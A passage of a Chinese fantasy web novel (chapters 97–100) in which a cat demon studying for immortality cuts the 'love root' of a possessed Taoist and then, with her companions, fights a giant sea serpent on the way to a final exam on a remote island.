这让他怎么说嘛。
再看猫妖煞有其事的表情，心里也是无奈。这孩子也是他从小看着长大的，刚进学堂时毛毛躁躁、莽莽撞撞，时不时就和谁起了冲突，打起架来爱伸爪子乱抓，嘴巴也不太干净的，在凡人堆里混久了，也是难免。
那会其他学生都说她是没家教的野猫，不配来万妖堂里学习，有些夫子也来和他反映情况，三番五次的，还是被他和元善老祖打着哈哈糊弄回去了。
他是觉得小猫妖虽性情顽劣，但天赋高，而且是他带过的学生里修习法术最认真的，也许这恰恰和她不是妖族世家的孩子有关，不管怎么说是个可造之材；元善老祖主要是心善，看她无父无母，休沐时也没处去，实在可怜见的。
好在孩子挨打会立正，知错
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会改，孺子非常可教，几年之后就没人再挑她的错处。他耳边萦绕不去的其他夫子的声音，也从“那猫妖真顽皮”变成了“你学生叶米真是不错”。
有这样的学生，树法祖师也很骄傲，虽不好明说，其实心中也觉得，这成仙之位中定有叶米的一席。不过猫妖这不喜人类的毛病还是得改改，毕竟成仙之后，不能只管她们猫族地是啊。
如今考核快结束了，见叶米和胡和烈、谢珍珠都有了显著的进步，他心里高兴，谁知今天过来一瞧，竟然发现她屋内不寻常的灵气波动。
树法祖师不敢突兀地打断她修炼，只好去找其他妖问话，正好瞧见打着哈欠出来的万情贞，这小子一开始还不肯说实话，这哪里难得倒树法祖师，吐真术一用，真相就被噼里啪啦地倒出来了。
竟有此事！
树法祖师感慨万千，没想到天意弄人，竟然要让他最得意的弟子为情缘放弃成仙啊！
知道叶米屡次斩情根的事后，更是叹息连连。
所以他教训叶米是为了什么呢？难道是想让叶米乖乖遵从姻缘簿的安排，和那个什么道士双宿双飞？树法祖师也不乐意，想到就有些气急了，谁还不知道，叶米这么多年来的努力就是为了成仙啊。
“你这孩子……”他最后只是摇摇头，叹息道，“何时这般伶牙俐齿了？罢了，为师说不过你。事已至此，考核也快结束了，你可要提心吊胆地过完这最后一关，切莫再出岔子。”
他见猫妖乖乖点头，垂眸一沉思，又道：“还有一事，为师细细想来，你与南显成的因果缘起于你未成妖前他与你的救命之恩，姻缘簿依据因果所写，若你以别种方式偿还了一些恩情，或许能抵消一些。”
叶米心里也是这么想的，这会听树法祖师的意思，哪里不知道他是要帮自己保密，立刻喜笑颜开：“多谢师父，叶米明白了，定不负师父所望！”
树法祖师一挥浮尘，笑着摇了摇头，转眼间消失不见。
“回去吧。”
叶米回到客栈，看见万情贞蹲在门口，一副愁眉苦脸的模样，便上前问道：“你蹲在这做什么？”
万情贞抬起头来，哇地一声差点哭出来：“猫大人！！我对不起你啊——”
他大吼大叫的，叶米被他吓了一跳，连忙噤了他的声：“去屋里说话。”
万情贞泪眼婆娑：“呜呜呜呜……”
进了叶米的屋里，他就哭诉自己真的只是忽然梦醒想出来解个手，没想到树法祖师会出现在这，更没想到他会问起姻缘簿的事，最没想到他就这么被施了术法把知道的都说出来了。
“猫大人，都是我不好……大早上的解手做什么！”
叶米：……
“师父的吐真术岂是你能招架的。”叶米给自己和书灵倒了杯茶，“这事不怪你，是我早上斩情根时灵气波动，不赶巧碰上师父来了，简直是不打自招了。就算不是你出来，师父也会去问别妖。”
97. 第 97 章
“啊……”万情贞叹了口气，苦笑道，“猫大人，你说这……眼见考核就要结束了，没想到事到临头却被发现了这事……嗐，真是猝不及防。那树法祖师怎么说啊？”
“师父骂了我几句。”叶米轻描淡写道，“不过我听他的意思，是会帮我瞒着。”
“那就好那就好……嘿嘿。”万情贞提起的心又放了下来，朝猫挤眉弄眼着，“等日后猫大人你成了仙，就是东窗事发也拿你没办法了。这事细细算来只是件小事，从头到尾吃苦受伤的只有猫大人你，可没有祸及他人啊，就是要罚也……”
他说到这，忽然沉默了一下，脑子里冒出一个人的模样。
嘶……好像也不是完全没有祸及他人，比如南显成不就少了个佳偶吗？这这这……
万情贞和叶米对视一眼，似乎有些心有灵犀，默不作声地拿起茶盏喝了一口。
“别人的事情暂且不管。”叶米冷酷无情道，“当务之急是成仙。”
万情贞戴上同款冷酷无情表情：“对，猫大人说的是。”
叶米这时候却诧异地瞥了他一眼：“嗯？这不像你要说的话。”
“啊，”万情贞一愣，“那我该说什么？”
“说南显成多么可怜，真是有缘无分、造化弄人，可惜这是多好的天赐良缘……”叶米想了想，“之类的。”
万情贞被说的脸一红，呐呐道：“猫大人你还怪了解我的。不过我已经不是以前满脑子只有情情爱爱的万情贞了，我现在是万情贞（做营生版。”
叶米听不懂：“什么乱七八糟的。”
“总而言之，”万情贞（做营生版说，“我如今全力以赴支持猫大人你的成仙大业，南道士只要在边上拍手鼓掌说好厉害就够了，我万万不会让他挡在猫大人的成仙路中间。”
叶米：……
他在说什么乱七八糟的？
最近几日天天见他捧着一些开酒楼开茶馆开镖局的书看，难道是看得书太杂了，脑子也有些糊涂起来？
叶米古怪地看了看书灵，心说这毛病还是给月老治吧，她是管不了了，不过听他的话里话外，是要支持自己的意思，这就成。
“好了，这事你之后和谢珍珠他们说一下，最后一段时日，别不小心漏了陷，要是我出了事，我们整个小组也不好过。”
“收到……”书灵刚应下，忽然见叶米的指尖开始闪光，他瞪大眼睛道，“猫大人，这是……”
叶米立起指尖一看，眉头一皱：“南显成有危险，我去去就回。”
闪身就不见了。
万情贞：？？？
啊？谁有危险？发生了什么？
叶米不得不担忧起来，毕竟上次南显成一副快死了的模样也没用石头找她，现在找她了，该不是真的半死不活了，让她过去听遗言的吧？
猫妖一边腾云驾雾往那边赶，一边在心里打算着：
如果他没死，那她再救他一命，又能偿还一次恩情，是好事；如果救不回来了，他死了之后，姻缘簿上的一切自然都不作数，也是好、咳，是这么回事。
怎么打算好像都不亏呢。
叶米随着石头的感应而去，来到了一个大户人家的院子里，这院中景致如画，静谧中伴着鸟鸣和流水声，非常宜人。叶米嗅了嗅，闻到一股似有似无的妖气，似乎被什么隔绝着，不太清晰。
她顺着院中的小径不紧不慢地走，时刻观察周遭的环境，走了一会后没瞧见人，心中正有些疑虑，却听见水动的声响，来自前方的池塘。
放轻了步子走过去一瞧，只看见一个身影坐在池塘边的一块石头上，穿着一身淡青色的圆领袍，长发散在肩上，微微遮住一张俊秀的脸，正是南显成。只见他胳膊肘搭在双膝上，似乎在把玩着手上的什么东西，脸色瞧不清。
叶米感到一丝古怪，不过也是要走近看看的。南显成察觉到有人来了，抬起眼来看见她，面上先是一愣，而后飞快地站起来，朝她露出一个欣喜的笑：“叶米，你来了。”
他一动表情，叶米就瞧见他眉间飘过的一丝妖气，刚刚她竖着猫瞳看的时候，也有瞧见南显成身上缠绕着一些黑气，但一时分不清这个南显成是妖，还是他被妖附身了，不太好下手。
“嗯。”叶米不动声色地点了下头，“你找我来什么事？”
南显成的严重似乎划过一丝茫然，不过很快就回过神来，朝她伸出手，掌心上躺着一颗石头，他看看石头，又看看她，朝她笑道：“刚刚瞧见这颗石头，便想起了你，越想越没完没了，所以……”
“哦。”叶米挑了下眉，没信他的话，左右看了看：“这是哪里，你怎么在这？”
南显成一愣，把石头握在手心收了回来：“这里是……哦，这家人找我有事，我便来看看。”
“找你什么事？”
“不是什么要紧事，已经解决了。”
叶米轻笑一声，心说估计就是捉妖的事呗，不然这“南显成”为什么支支吾吾地就是不肯说个明白，还不是怕她发现蹊跷？可她哪里是这么好糊弄的，他不说她就不知道？
而他难道不知道就算他不说她也会知道？
可他怕她知道，为什么又要叫她来呢？有些奇怪……
几句话之间猫妖就有了初步判断，已经决定要把这“南显成”收拾一番，她收回视线，看着他的脸道：“既然你没有危险，那我走了。”
“等等。”南显成叫住她，“我找你来不是没事。”
“哦，你有什么事？”
“……我有话同你说。”
叶米看着他明显不对劲的脸色，烧红的脸颊，和藏着许多情绪、不敢与她一直对视的眼睛，心中升起警惕：“什么话？”
他不自然地看着路边花丛的眼睛轻轻闭了闭，像是下定决心般呼出一口气来，再次睁开眼时，认真而严肃地盯着她，一字一句地、话里是温柔和坚定：“叶米，见到你的第一眼，我便感到一种特殊的情绪，先前从未有过……”
叶米微微震惊地瞪大了眼睛。
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>等等，这个话风有点……
她见他的瞳孔里闪过一丝黑气，接着透出她发愣的模样，只听他继续道：“同你分开的几日来，我无时无刻不在想你，你给我的石头明明放在荷包之中，可我时常感到它搁在我心头，让我有些难受，但这份不适却……让人欲罢不能。”
叶米：……
他在说什么玩意？什么荷包里的石头搁在心头？
“我想，”他小心地朝叶米扬起一个哀愁又温柔的微笑，“这大概就是人们所说的……心悦一人的心情。”
叶米：…………
沉默沉默沉默。
瞧见对方长久的沉默，南显成忐忑的心情越发猖狂，他感到自己的心砰砰狂跳着，也许张开嘴就要从嗓子眼里跳出来。好不容易缓和了一下心情后，才谨慎地、尽量让自己没有催促感地问：“叶米，你……的想法是？”
叶米深呼一口气，扯了一个皮笑肉不笑：“有点超出了。”
南显成：？
她原以为的情景是这样的，赶到之后发现奄奄一息的南显成，边上还有准备要对他下死手的妖怪，然后她几招把妖怪打跑，再救活南显成，如此就能事了拂衣去了，倒不必深藏功与名，甚至要提醒他一句“这次也算偿还你恩情”。
赶到之后，瞧见疑似被妖怪附身的、脑子有点问题的南显成，叶米也准备好与他大战一场，在南显成被她打死之前逼出他体内的妖怪，然后她几招把妖怪打跑，再救活南显成，如此就能事了拂衣去了，倒不必深藏功与名……同上。
可没想到这妖怪附身到道士身上之后，用她的石头把她叫来，然后和她告白心意了？
这要咋整，杀还是不杀？
叶米的视线看看道士的头，又看看他的胸口，斟酌着到底是脑子还是心出了问题。
南显成顺着她的视线，不自觉地摸了摸头发，担心是不是头发乱了、仪表不整；又抚了抚胸口，心想难道是自己的心跳声太大了，吵到叶米了？实在是……太羞人了。
他被看得不自在，又不好意思再追问一句对方的想法，只好这么默然地站在那，在叶米眼中看来就是只愚蠢的待宰的羔羊，可她不好直接把人宰了。
怎么说呢，很明显道士是被那股奇怪的妖气给影响了，并且做出了和她告白的蠢事，不过他说他喜欢她……
叶米飞快地想，也许他对自己是有这份喜欢，毕竟他们是写在姻缘簿同一页上的关系，谁看了都说是天赐的良缘……姻缘簿的效应连她一只法力高强的妖都难以抵挡，何况一个凡人呢，要不是她斩了情根……
嗯？
斩情根？
叶米忽然想到一个好法子，她笑了一声，这声笑是活泼的，南显成一听，眼里瞬时有了希冀，痴痴地看着她，只听她道：
“既然你喜欢我，是不是为我做什么都愿意？”
南显成几乎是毫不犹豫道：“是。”
“好啊。”猫妖点点头，扬起一个满意的笑：“斩条情根看看你的诚意。”
98. 第 98 章
斩情根？
道士的眼神不受控地迷茫了一会，也许是在想这是什么意思，斩情根要怎么斩，斩了之后会怎么样，为什么心上人要以这样的方式看他的诚意？
可他一回过神，明明还未想通那些冒出来的问题，却马上应下道：“好。”
叶米见他应下，挑眉道：“答应得倒轻松，你知道怎么斩情根？”
南显成诚实地摇了摇头，转而又说：“我立刻去调查是怎么回事。”
“用不着。”叶米从手腕一转，之间就多了一株草，“我告诉你是怎么回事。”
南显成看着她手中的东西，瞧着是很普通的杂草，特殊之处在草尖尖是蓝色的，闪着冰冷的幽光，他点了点头道：“好。”
叶米晃了晃手中的草：“这是断魂草，可以引出你体内的情根，别看这草很普通，其实尖锐无比，一挥而下便能将情根斩断……虽然是挺疼的，不过我可以帮你，我技术好，很快就能完事，反正是死不了人的。”
这么说完，她自己也觉得话里话外都有哄骗的味道，眼珠子心虚地一转，看向他淡青色圆领袍覆盖下的胸口：“你……”
南显成点头：“好。”
叶米不由得抬眼看他，见他的表情很寻常，不见有害怕，嘟囔道：“你完全不明白是怎么回事。”
南显成确实不明白，他这会有种魄散魂飘的感觉，没见到猫时，不论做什么事，脑海里总有一角属于她；见到她了，更是满心满眼地都是她的一举一动，世间的花草山水，什么都瞧不见了。
她说什么就是什么：“我明白，你说了……不会死人。”
叶米瞅他一眼，其实知道他这会的反常和他身上的妖气有关，不过大概是这影响的效果比较愚笨又无害，所以她也有些无奈和束手束脚：“是，既然我来了，就不会让你死的。现在……我要把你的心开一道口子。”
南显成顺着她的视线低头看了眼自己的胸口，就是淡青色的布料，实在没什么好看的，于是又抬眼看她。
叶米把他领到一旁的小亭子中让他打坐，自己也这般，然后发动法术指尖一动，那淡青色的布料上就划出一道细缝，很快就有血色从里头渗透出来，一点点地从裂缝的边缘往边上浸开。
这时候的疼痛还不及有什么反应，大概只是密密麻麻的酸胀，叶米动作很快地用断魂草将南显成的情根引出，刚瞧见那冒头的血肉枝头，心里有丝丝好奇，她还没见过别人的情根长什么样呢。
南显成也似有所感地垂下眼，瞧见自己的胸口探出了一条像树枝的血肉，不及两根拇指粗，树枝上有一些分叉枝条，枝条上长了许多血色肉叶，叶子上开着几朵花，花下挂着红彤彤的小果子，果子上还有跳动的经脉。
不止是他看愣了，连叶米都呆了一会。
“这就是……”南显成睫毛微颤，颤起眼皮看她，“情根？”
叶米沉着冷静：“嗯，对，是。”
南显成又问：“你说的一根……是一根枝条，还是这连花带果一整根？”
叶米沉着冷静：“要不你先把眼闭上。”
南显成不得不有不好的预感，但恋爱脑上头的他很听话地把眼睛闭上了。
叶米一开始对这根蓬勃生长的情根有些怯意，她是没理害怕的，大概只是因为骗人的心虚……不，也算不上是骗人，猫纠正道，只是没说得那么明白而已。
可当她闻到一股妖味，竖起猫瞳瞧见那血红情根上像发丝一般游来游去的黑气，心虚便不见了，觉得自己有了格外正当的缘由，眼神也变得狠辣起来。
只见她一手抓住探头探脑的情根，先是往外一拉，只见那几丝黑气似乎察觉到什么危险，连忙掉头往南显成的身体里逃去，叶米却飞快地将拿着断魂草一挥，情根在瞬间就被斩断，而那黑气也停留在截断面毫厘之处。
“噗……”
情根上飙出的血被叶米躲过，但实在太多了，部分还是洒在了她的耳朵上，她还没来得及擦去，南显成吐出一口血来，他睁开眼，肿胀的眼球红血丝很明显，神情诧异地看着她：“叶、叶姑娘……”
血顺着开合的嘴流淌下来。
“闭嘴。”
叶米先把情根销毁了，又连忙施法给他止血疗伤，南显成也闭上嘴修整调息。约一炷香的时间之后，他才差不多恢复过来，长长舒出一口气，心神俱定。
叶米收了妖法睁开眼，瞧见南显成在看地上的一堆血迹，她挑了下眉，在对方说话前先下手为强：“你身上被妖气附身了，你可知道？”
南显成看向她沉着冷静的面孔，左耳上有飞溅上的血迹，大概是他的：
“叶姑娘，我受命来这户人家处理一件一百年前的邪祟之物，虽已斩灭，但这几日有一些找不出缘由的身体不适……可能是一时不慎被那邪祟之物得了可乘之机。难道是你察觉到了危险，特来此处救我？”
听他这意思，是不记得刚刚发生的事了，这也好，正如她所料的那般，那她的所作所为都是很合理正当的了，绝对没有存在一丝忽悠的心。
叶米松了口气：“嗯，差不多吧。那妖气侵入你的情根之中，荼毒了你的神智。好在我已经引出你的情根将其斩断……这下没事了。”
情根被斩断……
南显成眼眸忽闪，出神地看了会地上的大片血迹，手摸了摸自己的胸口，似有些回不过神：“原来是这样……多谢叶姑娘出手相救。只是不知……斩了情根可有什么影响？”
“没什么影响。”她正大光明地说，“你现在不是活得好好的，还能说话？”
南显成闻言一笑，脸色苍白，笑得很是虚弱：“是，确实是活得好好的。不过心里头有些空空落落的，像是少了点什么。”
他竟然这么说，猫就觉得自己有多么残忍似的，其实这根本不是件大事，她心想，情根本就是个可有可无的东西，最可恶的是斩断了还会长出来，这就更无所谓了。
她不必心
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虚的。
“大概是被妖气侵入后的后遗症。”叶米说得很专业，“你不必担心，又不是少了肺啊肾的，就是吐了些血……对，大概你现在气血不足，才觉得若有所失的，缓缓就好了。”
南显成也不知是信没信，反正点了点头应好了。
叶米便道：“既然你无碍，那我先走了。”
“等等。”见她要走，南显成叫住她，“叶姑娘，我想……我还是把石头还给你吧。”
他伸出手来摊开，掌心上放着那颗不起眼的石头。
叶米瞅了一眼，没接过来，用疑问的眼神看他。
南显成笑了笑，解释道：“我实在不愿这样一而再再而三地麻烦你，叶姑娘你本应专心考核才是，而不是为了我来来回回，耽误了时间和行程。一想到这样的后果，我的心中很是愧疚。”
叶米当然也觉得麻烦，但师父刚跟她说过呢，想要减少姻缘簿的影响，还得尽量偿还了这份恩情才是：“我说了，你救过我，我来帮你是应该的。不必担心我考核的事，我有分寸。”
“叶姑娘，”道士的手依旧伸在那里，他的话语温吞而坚定，“我也说过了，前世的恩情不用再放在心上，对我而言，前世是前世，今生是今生。若你因为上辈子的恩偿还于现在的我，我受之有愧。”
叶米没法跟他解释更多：“可对我而言，你的三世都是我的今生。奇了怪了，我又不是找你要债的，报恩的事情你何必要推辞？”
“我……”
“别说什么受之有愧，上辈子的事你哪里记得，我才清楚明白你是不是受之有愧。”叶米打断他的话，“就当是为了我好，不报恩我心里不舒服。”
南显成本是看着自己掌心石头的眼抬起来看她，眼色深深：“说是报恩，其实你只是想和我结果了这份缘，划清关系，对不对？”
叶米：。
猫一愣，眼珠子都凝固了，她心想她有这样的意思吗……多少是有点，但倒也没想和他划清关系这么夸张，不过确实是想结果某份情缘的。
“不对。”
她回答了一下，但没解释，对方却以为她有后话，谁知道等了一会只有沉默，心中不免觉得这句“不对”没有什么可信性。
“还给你。”他把手往上抬了抬，强调一下存在感，“若我们有多余的缘分，哪怕我深陷危机也会逢凶化吉，倒时自会再见。”
他的意思就是不想让她救喽？叶米有些不高兴，瞥了他一眼，冷冰冰道：“还给我做什么，不要了丢了就是，难道这石头还会追着你跑？”
南显成：……
是这么说没错，但是……
他还未反应过来，眼前妖却已经消失不见了，只留下朝着空气伸手的他，姿势僵硬着，仿佛在等一个不会有的回答。
道士无力地叹了口气，将拳头握好，双手垂在了身侧。
是这么说没错，但是他需要她将石头拿走，要让他自己丢掉……实在是件难事。
99. 第 99 章
叶米觉得道士有些莫名其妙，不过她忙得很，没空揣测他的心思，回到客栈后先是用了午膳，招呼着同伴们收拾好行李，紧赶慢赶地再次出发了。
胡和烈和谢珍珠已经被书灵告知了那事，这会见叶米回来，连忙问她南显成出什么事了。
叶米省去无关紧要的事之后这么说：“就是被邪祟的妖气缠上了，现在已经没事了。”
大家纷纷松了口气，谢珍珠道：“希望南公子最近平安些，起码在我们完成考核之前不出什么意外……啊，我的意思是，希望他一直平平安安，哈哈。”
“无碍。”叶米道，“其实他也并不想麻烦我们，若不是必要和意外，他不也不会用石头。”
谢珍珠点点头道：“是，南公子是个有分寸的好人。只可惜……呸，不可惜，不可惜……”
叶米瞅她摇摇脑袋念念叨叨的，也没在意，正专心琢磨着眼前的地图，胡和烈在边上抱着胸打哈欠：“有什么好看的，这不就一条路能走？”
“路是只有一条，可路上山水、过路的村县，难道不要注意？”叶米不看他一眼，“我可不想再遇上意外的事，像上回撞上了那座山一样，某些妖半天了也不知道是真是假，还是趁现在提早摸清了路况，未雨绸缪不好？”
某些妖嘿嘿笑：“好好好，还是猫大人想得周到。”
谢珍珠问：“叶米，最后一关在哪啊？”
叶米的眼珠子定在图上某处：“一个岛上。”
“岛上？”万情贞这才有兴趣看了地图一眼，“百洞岛……啊，我听过！这岛远离大陆，岛上不住人的，去这岛上能干嘛啊？”
叶米稍微想想就明白了：“最后一关了，总该到了群战决胜的时候，找个远离凡人的岛，就能肆无忌惮地……厮杀了。”
万情贞被某个词吓得激灵了一下：“厮厮厮杀……”
“我乱说的。”猫妖不负责任道，“按照万妖堂往年的惯例，应是打到束手无策或是主动投降的时候就能淘汰，有伤无亡。”
“是啊。”谢珍珠点点头，“师父们不会让我们真的出事的，你看我们之前遇到的圆圆她们组，受伤的妖怪都是淘汰了的，没死过妖呢。”
万情贞想想也是，心下便松了口气，脑子转到什么，还嘿嘿笑道：“哎呀，那我们组有猫大人和胡大哥，这不是稳了嘛！”
他这么说，却见其他三妖都没说话，还没反应过来呢，用胳膊肘怼怼安静的谢珍珠道：“是不是、是不是嘛？”
谢珍珠把他手撇开，对书灵的乐观有些无语：“我觉得不是，肯定不是这么简单。要真只是单纯的比试，干嘛特地弄个荒无人烟的岛来？回万妖堂比试不就好了？这其中定是有什么古怪。”
万情贞被她这么一说也觉得是这么回事，但实在不想有别的意外发生，自我安慰道：“也许是……需要一点仪式感？猫大人，你觉得呢？”
“我觉得……”叶米朝他们一笑，“我觉得我们会赢。”
万情贞：“猫大人……”
谢珍珠：“嗯！”
他们听到她这么说不得不有些感动。胡和烈见这俩一副信服的表情，咧嘴笑道：“仇家最多的都这么有信心，你俩操心什么。”
二妖：……
叶米不赞同道：“大家都是同学，用得上仇家这个词？”
胡和烈无辜眨眼：“随便用哪个词，反正大家都会针对你的，信不信？”
哪里用得着她信不信，这就是既定的事实。将心比心，若她是其他的妖，也会先找其他组的妖联合起来铲除自己，不然等她存活到了后期，谁还能打过她呢？更何况胡和烈还在她们组……
虽想到这一层，但叶米心中并不忌惮万妖堂的好同学们，这些妖她几乎都对打过，只要打过她就能想起来对方的弱点，心中稳稳的很踏实；她担忧的就是谢珍珠所说的，这百洞岛上的阴谋。
“百洞岛……”万情贞随手摘下路过的一根杂草，在手上摇晃着，“听这名字，是不是上边有很多洞，便于躲藏？”
胡和烈：“便于躲藏也便于偷袭。”
叶米：“更便于一窝揣了。”
万情贞：……这两妖恐怖如斯。
先前一直觉得考核结束还遥遥无期的谢珍珠，听同伴们讨论起最后一关的事，有种不切实际的紧张感：“叶米，去那个岛上……大概要多久的脚程？”
叶米算了算：“不出意外，五六日即可到达。不过我在想要不要抓紧点时间，若是先到者可以先上岛……那自然是越早上岛越能了解情况、抢占先机。”
胡和烈：“你想埋伏他们？”
万情贞嘿嘿笑：“好狡猾啊，我喜欢！”
“埋伏？”叶米觉得以自己的实力不必要做埋伏的事，不过既然万情贞提起来了，那也不是不行，“可以考虑。”
若是能不正面交锋就把对手给解决了，那自然是最好、最合法术不太高强的螃蟹精的意的，她连连点头道：“好啊好啊，那我们就抓紧时间，尽快上岛。布置一些陷阱，也好提早准备……预防其他妖针对叶米和胡大哥的事。”
“好。”
于是几妖就抓紧着走，每晚少睡半个时辰，吃饭的时候嘴巴动快些，精神足的时候就快走几步，偶尔嬉闹着你追我赶跑一跑……就这么不太认真地紧赶慢赶着，到达百洞岛外的那片海域的时候，比他们预计的早了……半日。
水声哗啦，海面平静，离岸不远处的地方起了浪花，慢悠悠地蛄蛹起来落到沙滩上，泛出白色的浪花之后懒散地退了回去。
万情贞往后退了几步，好险没弄湿鞋，他一手撑在眉毛处遮盖阳光，仰着脖子往海上望去，奇怪道：“哪里有岛啊？就一片海，连艘船只都没有。我们要怎么上岛？游过去？”
“不能游，”胡和烈眯着眼睛看海面，“要是游到一半变了天，这一个浪打过来，我们不都分散了？”
螃蟹精提议：“
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不如我们做艘船？”
叶米往后看了看：“方才是有路过一片小林子……行，去砍几棵树拼凑在一起，再用术法加固一番做个简陋的木筏好了，也没有其他更好的办法，最近的城邑十里之外，来回太耽误。”
大家就决定这么办，于是又往回走到那小林子里砍了几棵树，结果找不到绳子，干脆直接用法术拼在一起。
万情贞笑嘻嘻地说猫大人的妖法比绳子更令妖安心，叶米想想也是那么回事，就是真拿来了绳子，她也不会做木筏，顶多胡乱缠绕几下，起个聊胜于无的作用。
几妖把木筏搬回了海边，这下就能启航了。等妖都坐到了船上，离开岸边一米远，停在水上不动了，大家面面相觑，才意识到没有做桨。
好在问题不大，胡和烈从木筏上拆下一根木头来折成两半，这下就有桨了，不三不四的，实在是简陋至极。
幸好他们队里还有一个螃蟹精，比起坐在木筏上，她更喜欢在水里游，便变成原形夹着他们的木筏走，这是很简单的，只要用一些法力便能轻松地推动木筏，到后边胡和烈干脆放弃了桨，任由她推着。
他们一路往北方的海面前进，一开始向远方望去，依旧是水茫茫的一片，什么都瞧不见，仿佛对边就是世间的尽头。荡了半个时辰左右，忽然就瞧见遥遥的一座岛屿，看着指甲盖大小，不知道距离多远，但大家都很高兴，起码找到了地方。
中途螃蟹精累了，躺在木筏上休息，其他三妖就轮流拿着木头划，能漂一点路是一点。此时已是夜半，在海上天一黑就什么都瞧不见了，叶米变了个发光的球出来，照亮前方的路。
万情贞低头看向海面，黑乎乎的，波纹般的亮光忽明忽暗，照不出他的影子。书灵心中感到一丝恐怖：“要不……我们歇会？”
叶米一直竖着猫瞳注视着周边：“不歇，现在是最要警惕的时候。”
“猫大人……你可是觉得有古怪？”
胡和烈：“没闻见妖气啊。”
“是没妖气。”叶米没回头，“可我已经有半个时辰没见到任何鱼类了。珍珠，这说明什么？”
谢珍珠瞳孔一震，面色略僵：“说明……这附近有极为凶残的生物，让鱼群敬而远之。”
万情贞的脸已经耷拉下来了，他还要勉强笑一下，显得表情有些诡异：“没、我们没有……那么倒霉吧？哈哈……”
叶米没心思回答他，她发现即使有光照着，依旧看不透这水域，便闭上眼睛，将注意力集中在耳朵上，撇开伙伴们的呼吸声、水花撞击木筏的声音，以及哗啦不停的水声，她似乎听到了……水面下有什么东西在急速而来。
近了。
更近了。
“抓紧木筏！”
“哗——”
一声巨响，她提早给木筏设好的法术屏障猛然炸裂开来，叶米飞快补了一个，但随着水面破开，汹涌的海水开始狂欢，木筏就像只轻飘飘的落叶，随波翻滚。
100. 第 100 章
“救——”
“猫大呼噜噜噜……”
一时之间天旋地转，几妖甚至没来得及看清楚是什么玩意折腾了这一番，早已被浪掀翻入水。
胡和烈哗啦了几下，长出翅膀打算从水中腾飞而起，叶米见状一脚踩在他肩膀上，借力跳出水面，紧忙站在木筏上立稳。
被一踩之后陷得更深的胡和烈：……
要生气也得等会生，瞥了眼谢珍珠已经抓住了书灵，他便赶紧飞上去了。水面上很亮，叶米的发光球高悬在空中，将那始作俑者的模样照得一清二楚——竟然是一只巨大的水蛇！
这蛇一个脑袋有两条成年人粗，身长多少不清楚，大半还在水中，浑身漆黑，鳞片带着水色一闪一闪，它的双眸是碧绿的，中间竖起琥珀色的瞳孔，不好从其中捕捉到什么情绪，也许也没这必要，反正大家都心知肚明它的目的——杀。
谢珍珠拖着万情贞冒出水面，瞧见这可怖的东西，吓得又缩回水里，和万情贞大眼瞪小眼，两妖都很害怕。
这时候又听到上边有动静传来，他们冒出眼睛一看，叶米和胡和烈已经和那条大蛇打起来了，胡和烈趁着叶米吸引水蛇注意力的时候见缝插针，水蛇被他刺得“嗷”了一声，但它体型太大，这点毒素和伤口无关大局，甩了两下头就把胡和烈连妖带针给甩开了。
叶米不会飞，时不时要落在木筏上暂缓，但木筏不听话啊，经常被掀起的浪花打远。谢珍珠想了想，同万情贞道：“你负责固定住木筏，我绕后去夹那只蛇的尾巴！”
万情贞有些诧异道：“你……好吧，你可要小心。”
谢珍珠也不知是安慰他还是说服自己：“没事，就是被甩飞了也没事，这里都是海水，我可是螃蟹……”
嘟囔着就潜入了海里，去找蛇的尾巴了。
万情贞觉得连谢珍珠都敢“单打独斗”，他有什么不行的？眼睛在水面上搜寻着木筏的踪影，真的飘了好远，他划拉着四肢游过去，头顶上是热闹的打斗声，他偶尔抬头看看，瞧见叶米踩在那条大蛇的头上，蛇不停地甩着脑袋想把她甩下来，而猫轻巧地腾空变换着位置。
好帅啊猫大人！书灵想。
蛇感觉脑壳上被人不住地蹦跶，它气得不行，可偏偏怎么甩都不能把那臭妖甩下去，实在是难缠得很！
它“嗷”了一声，伸出两条老长老长的蛇信子去捉那人，这蛇信子上有毒，舌尖散着黑气，叶米不敢直接用手碰，正躲闪之时，胡和烈飞过来用螫针将其中一条蛇信子缠绕上，螫针上发出烧灼的烟气，蜂毒和蛇毒在以毒攻毒。
虎头蜂也没傻看着，控制住蛇信子之后，立刻施法将其斩断，侧身躲开biu出来的黑血，只听蛇一声惨叫。
叶米这边，她被蛇信子追得在蛇背上乱跳，正想找点什么东西，就听下方万情贞在叫：“猫大人！猫大人！”
叶米侧头一看，瞧见他跪在木筏上，手上挥着一条木头，见她看来，他连忙用法术将那木头往空中一送，叶米心领神会地飞过去接下，学着虎头蜂的招式将蛇信子往上绕着，不过木头刚被缠上就“滋滋滋”地被侵蚀腐朽，但这样短暂的控制已经足够猫妖对付了。
胡和烈：“小心血！”
叶米两个后空翻躲过被斩断后吃疼地乱扭的蛇信子甩出来的血，趁其慌乱，在水蛇的脑袋上飞跑几步，一爪戳进了水蛇的左眼的瞳孔之中，双脚顶在它眼眶上，使劲想把这球大的眼珠子扯出来。
“嗷！！嗷——”
水蛇疼得发疯尖叫，整条蛇剧烈地摆动起来，像是狂风中乱舞的瘦草，叶米的身体早已被甩的悬浮在空中，只是手死死地抓着它的眼珠子不肯松，但怎么都拔不下来。
就在此时，胡和烈躲闪着发癫的水蛇飞过来了，咬着牙将螫针往眼珠子的边框处插进去，铆足了劲儿地往下一撬，那眼珠子总算被撬了出来，两人没了支撑，紧接着就被水蛇头一扭给甩飞了。
万情贞在下边等着，眼见胡和烈要撞到木筏上，连忙手疾眼快地把木筏给移开了，拍着胸脯感慨：“好险好险，差点要给撞坏了。”
失了一颗眼珠子的水蛇暴怒而癫狂，嘶吼声冲破云霄，动荡海水，它不管不顾地就冲着叶米落水的地方一头撞去。
叶米摔入海中，被眼珠子拖着往下沉，她紧忙将眼珠子撇开，划拉着手脚要往上游去，却见那水蛇在上方猛地朝她冲来，猫一惊，紧急调转方向。
可她在水中并不方便，而水蛇却是如鱼得水，速度快又灵活，可惜只丢了只眼睛并不影响它视物，那红黑的血水从他漆黑的眼洞里冒出来，如烟般消散在海水之中。
它蛇脸凶狠，大长着一张嘴，那嘴尖牙利齿地将海水划破，似乎想吞下去什么东西，瞳孔几乎是一条竖线，怒睁着也像是在尖叫。
叶米暗道不妙，想赶紧去水面上，可惜她刚刚被那眼珠子拖着摔得很深，抬头望去，水面还很远，但好歹能看见，那艘木筏只有巴掌大小。
她来不及想那么多，只管逃跑，可那水蛇速度太快，好险要追上来，叶米用法术打它，虽说这蛇实在皮厚，但这一击倒给了她反弹的力，一下弹出去好远。
